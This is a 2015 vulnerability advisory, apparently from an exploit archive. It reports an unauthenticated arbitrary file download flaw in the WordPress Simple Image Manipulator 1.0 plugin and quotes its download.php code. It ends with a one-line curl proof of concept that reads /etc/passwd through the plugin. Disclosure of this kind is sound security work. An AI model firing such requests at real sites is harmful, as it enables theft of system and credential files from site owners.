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WordPress Simple Image Manipulator 1.0 File Download

WordPress Simple Image Manipulator 1.0 File Download
Posted Aug 5, 2015
Authored by Larry W. Cashdollar

WordPress Simple Image Manipulator plugin version 1.0 suffers from an arbitrary remote file download vulnerability.

tags | exploit, remote, arbitrary
MD5 | 0d020200a02b3f986d508fc141b3c8b6

WordPress Simple Image Manipulator 1.0 File Download

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Title: Remote file download in simple-image-manipulator v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-16
Download Site: https://wordpress.org/plugins/simple-image-manipulator
Vendor: https://profiles.wordpress.org/kevartpatel/
Vendor Notified: 2015-07-16
Vendor Contact: plugins@wordpress.org
Description: Manipulate your wordpress images using slider and tickboxes.
Vulnerability:
In ./simple-image-manipulator/controller/download.php no checks are made to authenticate user or sanitize input when determining file location:


14 /* Figure out the MIME type | Check in array */
15 $known_mime_types=array(
16 "pdf" => "application/pdf",
17 "txt" => "text/plain",
18 "html" => "text/html",
19 "htm" => "text/html",
20 "exe" => "application/octet-stream",
21 "zip" => "application/zip",
22 "doc" => "application/msword",
23 "xls" => "application/vnd.ms-excel",
24 "ppt" => "application/vnd.ms-powerpoint",
25 "gif" => "image/gif",
26 "png" => "image/png",
27 "jpeg"=> "image/jpg",
28 "jpg" => "image/jpg",
29 "php" => "text/plain"
30 );
31
32 if($mime_type==''){
33 $file_extension = strtolower(substr(strrchr($file,"."),1));
34 if(array_key_exists($file_extension, $known_mime_types)){
35 $mime_type=$known_mime_types[$file_extension];
36 } else {
37 $mime_type="application/force-download";
38 };
39 };

CVEID:
OSVDB:
Exploit Code:
• curl -sk "http://www.vapidlabs.com/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"

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